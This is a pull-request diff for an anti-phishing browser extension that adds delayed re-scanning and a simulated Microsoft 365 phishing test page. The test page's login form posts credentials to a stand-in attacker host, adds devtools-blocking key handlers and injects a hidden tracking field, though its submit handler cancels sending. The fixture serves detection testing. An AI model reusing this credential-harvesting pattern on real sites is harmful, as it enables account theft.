Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
140 changes: 138 additions & 2 deletions scripts/content.js
Original file line number Diff line number Diff line change
Expand Up @@ -31,8 +31,13 @@ if (window.checkExtensionLoaded) {
let showingBanner = false; // Flag to prevent DOM monitoring loops when showing banners
const MAX_SCANS = 5; // Prevent infinite scanning - reduced for performance
const SCAN_COOLDOWN = 1200; // 1200ms between scans - increased for performance
const THREAT_TRIGGERED_COOLDOWN = 500; // Shorter cooldown for threat-triggered re-scans
const WARNING_THRESHOLD = 3; // Block if 4+ warning threats found (escalation threshold)
let initialBody; // Reference to the initial body element
let lastPageSourceHash = null; // Hash of page source to detect real changes
let threatTriggeredRescanCount = 0; // Track threat-triggered re-scans
const MAX_THREAT_TRIGGERED_RESCANS = 2; // Max follow-up scans when threats detected
let scheduledRescanTimeout = null; // Track scheduled re-scan timeout

const regexCache = new Map();
let cachedPageSource = null;
Expand Down Expand Up @@ -160,6 +165,88 @@ if (window.checkExtensionLoaded) {
cachedStylesheetAnalysis = null;
}

/**
* Compute simple hash of page source to detect changes
* Uses string length and character sampling for performance
*/
function computePageSourceHash(pageSource) {
if (!pageSource) return null;

// Simple hash: length + sample characters at key positions
const len = pageSource.length;
const samples = [];
const positions = [
Math.floor(len * 0.1),
Math.floor(len * 0.3),
Math.floor(len * 0.5),
Math.floor(len * 0.7),
Math.floor(len * 0.9)
];

for (const pos of positions) {
if (pos < len) {
samples.push(pageSource.charCodeAt(pos));
}
}

return `${len}:${samples.join(',')}`;
}

/**
* Check if page source has changed significantly
*/
function hasPageSourceChanged() {
const currentSource = getPageSource();
const currentHash = computePageSourceHash(currentSource);

if (!lastPageSourceHash) {
lastPageSourceHash = currentHash;
return false; // First check, no previous hash to compare
}

const changed = currentHash !== lastPageSourceHash;
if (changed) {
logger.debug(`Page source changed: ${lastPageSourceHash} -> ${currentHash}`);
lastPageSourceHash = currentHash;
}

return changed;
}

/**
* Schedule threat-triggered re-scans with progressive delays
* Automatically re-scans when threats detected to catch late-loading content
*/
function scheduleThreatTriggeredRescan(threatCount) {
// Clear any existing scheduled re-scan
if (scheduledRescanTimeout) {
clearTimeout(scheduledRescanTimeout);
scheduledRescanTimeout = null;
}

// Don't schedule if we've reached the limit
if (threatTriggeredRescanCount >= MAX_THREAT_TRIGGERED_RESCANS) {
logger.debug(`Max threat-triggered re-scans (${MAX_THREAT_TRIGGERED_RESCANS}) reached`);
return;
}

// Progressive delays: 800ms for first re-scan, 2000ms for second
const delays = [800, 2000];
const delay = delays[threatTriggeredRescanCount] || 2000;

logger.log(
`⏱️ Scheduling threat-triggered re-scan #${threatTriggeredRescanCount + 1} in ${delay}ms (${threatCount} threat(s) detected)`
);

threatTriggeredRescanCount++;

scheduledRescanTimeout = setTimeout(() => {
logger.log(`🔄 Running threat-triggered re-scan #${threatTriggeredRescanCount}`);
runProtection(true);
scheduledRescanTimeout = null;
}, delay);
}

function analyzeStylesheets() {
if (cachedStylesheetAnalysis) return cachedStylesheetAnalysis;
const analysis = { hasMicrosoftCSS: false, cssContent: "", sheets: [] };
Expand Down Expand Up @@ -2497,15 +2584,30 @@ if (window.checkExtensionLoaded) {
// Rate limiting for DOM change re-runs
if (isRerun) {
const now = Date.now();
if (now - lastScanTime < SCAN_COOLDOWN || scanCount >= MAX_SCANS) {
logger.debug("Scan rate limited or max scans reached");
const isThreatTriggeredRescan = threatTriggeredRescanCount > 0 && threatTriggeredRescanCount <= MAX_THREAT_TRIGGERED_RESCANS;
const cooldown = isThreatTriggeredRescan ? THREAT_TRIGGERED_COOLDOWN : SCAN_COOLDOWN;

if (now - lastScanTime < cooldown || scanCount >= MAX_SCANS) {
logger.debug(`Scan rate limited (cooldown: ${cooldown}ms) or max scans reached`);
return;
}

// Check if page source actually changed
if (!hasPageSourceChanged() && !isThreatTriggeredRescan) {
logger.debug("Page source unchanged, skipping re-scan");
return;
}

lastScanTime = now;
scanCount++;
} else {
protectionActive = true;
scanCount = 1;
threatTriggeredRescanCount = 0; // Reset counter on initial run

// Initialize page source hash
const currentSource = getPageSource();
lastPageSourceHash = computePageSourceHash(currentSource);
}

logger.log(
Expand Down Expand Up @@ -3017,6 +3119,11 @@ if (window.checkExtensionLoaded) {
showWarningBanner(`SUSPICIOUS CONTENT DETECTED: ${reason}`, {
threats: warningThreats,
});

// Schedule threat-triggered re-scan to catch additional late-loading threats
if (!isRerun && warningThreats.length > 0) {
scheduleThreatTriggeredRescan(warningThreats.length);
}
}

const redirectHostname = extractRedirectHostname(location.href);
Expand Down Expand Up @@ -3531,6 +3638,11 @@ if (window.checkExtensionLoaded) {
phishingIndicators: criticalThreats.map((t) => t.id),
};

// Schedule threat-triggered re-scan to catch additional late-loading threats
if (!isRerun && criticalThreats.length > 0) {
scheduleThreatTriggeredRescan(criticalThreats.length);
}

if (protectionEnabled) {
logger.error(
"🛡️ PROTECTION ACTIVE: Blocking page due to critical phishing indicators"
Expand Down Expand Up @@ -3761,6 +3873,11 @@ if (window.checkExtensionLoaded) {
setupDynamicScriptMonitoring();
}
}

// Schedule threat-triggered re-scan for high/medium threats
if (!isRerun && allThreats.length > 0) {
scheduleThreatTriggeredRescan(allThreats.length);
}
} else {
logger.warn(`⚠️ ANALYSIS: MEDIUM THREAT detected - ${reason}`);
if (protectionEnabled) {
Expand All @@ -3780,6 +3897,11 @@ if (window.checkExtensionLoaded) {
setupDOMMonitoring();
setupDynamicScriptMonitoring();
}

// Schedule threat-triggered re-scan for medium threats
if (!isRerun && allThreats.length > 0) {
scheduleThreatTriggeredRescan(allThreats.length);
}
}

const redirectHostname = extractRedirectHostname(location.href);
Expand Down Expand Up @@ -4125,6 +4247,13 @@ if (window.checkExtensionLoaded) {
domObserver = null;
logger.log("DOM monitoring stopped");
}

// Also clear any scheduled threat-triggered re-scans
if (scheduledRescanTimeout) {
clearTimeout(scheduledRescanTimeout);
scheduledRescanTimeout = null;
logger.log("Cleared scheduled threat-triggered re-scan");
}
} catch (error) {
logger.error("Failed to stop DOM monitoring:", error.message);
}
Expand Down Expand Up @@ -5259,6 +5388,13 @@ if (window.checkExtensionLoaded) {
window.addEventListener("beforeunload", () => {
try {
stopDOMMonitoring();

// Clear any scheduled re-scans
if (scheduledRescanTimeout) {
clearTimeout(scheduledRescanTimeout);
scheduledRescanTimeout = null;
}

protectionActive = false;
} catch (error) {
logger.error("Cleanup failed:", error.message);
Expand Down
21 changes: 20 additions & 1 deletion test-pages/index.html
Original file line number Diff line number Diff line change
Expand Up @@ -63,9 +63,13 @@ <h1>Check Extension Test Suite</h1>
<div class="test-section">
<h2>🚫 Should Block</h2>
<a href="phishing-basic.html" class="test-link severity-critical">
Phishing Page
Phishing Page - Immediate Load
<div class="description">Fake Microsoft 365 login form posting to attacker domain</div>
</a>
<a href="phishing-delayed-load.html" class="test-link severity-critical">
Phishing Page - Delayed Load ⏱️ NEW
<div class="description">Microsoft 365 phishing with late-loading content (tests threat-triggered re-scanning)</div>
</a>
</div>

<div class="test-section">
Expand All @@ -83,8 +87,23 @@ <h2>Instructions</h2>
<li>Click on each test link to verify detection behavior</li>
<li>Critical/High threats should trigger blocking or warning</li>
<li>Safe pages should not trigger any alerts</li>
<li>For delayed-load test: Watch browser console for timing logs</li>
<li>Check the extension popup for detection details</li>
</ol>

<h3>Testing Threat-Triggered Re-scanning (Delayed Load Test)</h3>
<ol>
<li>Open browser DevTools console (F12) before clicking the delayed-load test</li>
<li>Click "Phishing Page - Delayed Load" link</li>
<li>Observe the console logs showing:
<ul>
<li>Initial scan detecting basic threat (bad URL structure)</li>
<li>Threat-triggered re-scan #1 at ~800ms catching more indicators</li>
<li>Threat-triggered re-scan #2 at ~2000ms catching all late-loading content</li>
</ul>
</li>
<li>Extension should block the page after detecting all phishing indicators</li>
</ol>
</div>
</body>
</html>
133 changes: 133 additions & 0 deletions test-pages/phishing-delayed-load.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,133 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Loading...</title>
<style>
body {
font-family: 'Segoe UI', Tahoma, sans-serif;
background-color: #f3f3f3;
display: grid;
place-items: center;
height: 100vh;
width: 100vw;
margin: 0;
}
.login-container {
background: white;
padding: 40px;
max-width: 440px;
width: calc(100% - 40px);
box-shadow: 0 2px 6px rgba(0,0,0,0.2);
display: none; /* Hidden initially */
}
h1 {
font-size: 24px;
font-weight: 600;
margin: 0 0 20px 0;
}
input[type="email"],
input[type="password"] {
width: 100%;
padding: 12px;
margin: 10px 0;
border: 1px solid #8c8c8c;
box-sizing: border-box;
}
button {
background-color: #0067b8;
border: 1px solid #0067b8;
color: white;
padding: 12px 24px;
cursor: pointer;
width: 100%;
font-size: 15px;
}
.logo {
margin-bottom: 20px;
}
.loading {
font-size: 18px;
color: #666;
}
</style>
</head>
<body>
<div class="loading" id="loading">Loading...</div>
<div class="login-container" id="login-form">
<div class="logo">
<h1>Microsoft 365</h1>
</div>
<form method="POST" action="https://evil-attacker.com/steal-credentials">
<input type="email" name="loginfmt" id="i0116" placeholder="Email, phone, or Skype" required>
<input type="password" name="password" placeholder="Password" required>
<input type="hidden" name="idPartnerPL">
<button type="submit" id="idSIButton9">Sign in</button>
</form>
<p style="font-size: 13px; color: #666; margin-top: 20px;">
Can't access your account?
</p>
</div>

<script>
// Simulate delayed content loading - shows login form after 1.5 seconds
// This tests the threat-triggered re-scanning feature
console.log('[Test Page] Starting delayed load simulation...');

setTimeout(function() {
console.log('[Test Page] Phase 1: Hiding loading message (500ms)');
document.getElementById('loading').style.display = 'none';
}, 500);

setTimeout(function() {
console.log('[Test Page] Phase 2: Showing Microsoft 365 login form (1500ms)');
document.getElementById('login-form').style.display = 'block';
document.title = 'Microsoft 365 Sign In';

// Add additional phishing indicators that appear late
console.log('[Test Page] Phase 2: Adding late-loading phishing indicators');

// Simulate blocking devtools (common phishing technique)
document.addEventListener('contextmenu', function(e) {
e.preventDefault();
return false;
});

// Add F12 blocker
document.addEventListener('keydown', function(e) {
if (e.keyCode === 123) { // F12
e.preventDefault();
return false;
}
if (e.ctrlKey && e.shiftKey && e.keyCode === 73) { // Ctrl+Shift+I
e.preventDefault();
return false;
}
});

console.log('[Test Page] Phase 2: Late-loading content fully loaded');
}, 1500);

// Additional late-loading content at 2.5 seconds
setTimeout(function() {
console.log('[Test Page] Phase 3: Adding more phishing indicators (2500ms)');

// Add hidden tracking elements
const trackingDiv = document.createElement('div');
trackingDiv.style.display = 'none';
trackingDiv.innerHTML = '<input type="hidden" name="urlMsaSignUp" value="https://evil-attacker.com/track">';
document.querySelector('form').appendChild(trackingDiv);

console.log('[Test Page] Phase 3: All phishing indicators loaded');
}, 2500);

document.querySelector('form').addEventListener('submit', function(e) {
e.preventDefault();
alert('This is a test phishing page with delayed loading. The extension should have detected and blocked this!');
});

console.log('[Test Page] Initial page load complete - waiting for delayed content...');
</script>
</body>
</html>